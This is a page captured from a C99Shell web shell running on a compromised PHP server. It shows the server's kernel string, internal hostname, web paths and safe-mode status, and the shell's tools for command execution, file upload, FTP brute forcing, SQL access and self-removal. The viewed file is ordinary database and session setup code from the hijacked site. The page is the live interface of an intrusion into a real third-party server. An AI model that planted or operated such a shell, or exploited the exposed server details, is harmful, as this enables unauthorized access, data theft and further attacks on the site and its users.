!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/include/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dbcommon.php (2.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$version 
explode('.'PHP_VERSION);
if(
$version[0]*10+$version[1]<53)
    
set_magic_quotes_runtime(0);

if(@
$_SERVER["REQUEST_URI"])
{
    
$pinfo=pathinfo($_SERVER["REQUEST_URI"]);
    
$dirname = @$pinfo["dirname"];
    
$dir explode("/",$dirname);
    
$dirname="";
    foreach(
$dir as $subdir)
    {
        if(
$subdir!="")
            
$dirname.="/".rawurlencode($subdir);
    }
    if(
$dirname!="")
    {
//        @session_set_cookie_params(0,$dirname."/");
    
}
}

//    isolate sessions for projects running on the same site
@session_name"wRYLOLtV0Et7luR8Kg4U" );

// Setting the cache limiter to '' will turn off automatic sending of cache headers entirely
@session_cache_limiter("");
@
session_start();


//E_STRICT has become a part of E_ALL since php 5.4 only
error_reporting( (E_ALL E_STRICT) & ~E_STRICT & ~E_NOTICE & ~E_DEPRECATED);

/// include php specific code
//include("timing.php");
include("phpfunctions.php");

$useOldMysqlLib != 0;

$cCharset "utf-8";
$cCodepage 65001;
$cMySQLNames "utf8";
$gLoadSearchControls 30;

$bSubqueriesSupported true;

$projectPath '';

header("Content-Type: text/html; charset=".$cCharset);

// json support
$useUTF8 true;

if(!
function_exists('json_encode') || !$useUTF8)
{
    include_once(
getabspath("classes/json.php"));
    
$GLOBALS['JSON_OBJECT'] = new Services_JSON(SERVICES_JSON_LOOSE_TYPE$useUTF8);

    function 
my_json_encode($value$json_unescaped_unicode false){
        return 
$GLOBALS['JSON_OBJECT']->encode($value);
    }

    function 
my_json_decode($value){
        
$result $GLOBALS['JSON_OBJECT']->decode($value);
        if(
is_null($result) || count($result) == 0)
            return array();
        else
            return 
$result;
    }
}
else
{
    function 
my_json_encode($value){
        return 
json_encode($valueJSON_PARTIAL_OUTPUT_ON_ERROR );
    }

    function 
my_json_decode($value){
        
$result json_decode($value,true);
        if(
is_null($result) || count($result) == 0)
            return array();
        else
            return 
$result;
    }
}


include(
"locale.php");
include(
"events.php");
include(
"commonfunctions.php");

include(
"dal.php");
include(
"appsettings.php");

set_error_handler("runner_error_handler");

$mbEnabled extension_loaded('mbstring');



function 
my_json_encode_unescaped_unicode($value)
{
    
array_walk_recursive($value'json_mb_encode_numericentity');
    return 
runner_decode_numeric_entity(my_json_encode($value), array(0x800xffff00xffff), 'UTF-8');
}

    
        ;

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0013 ]--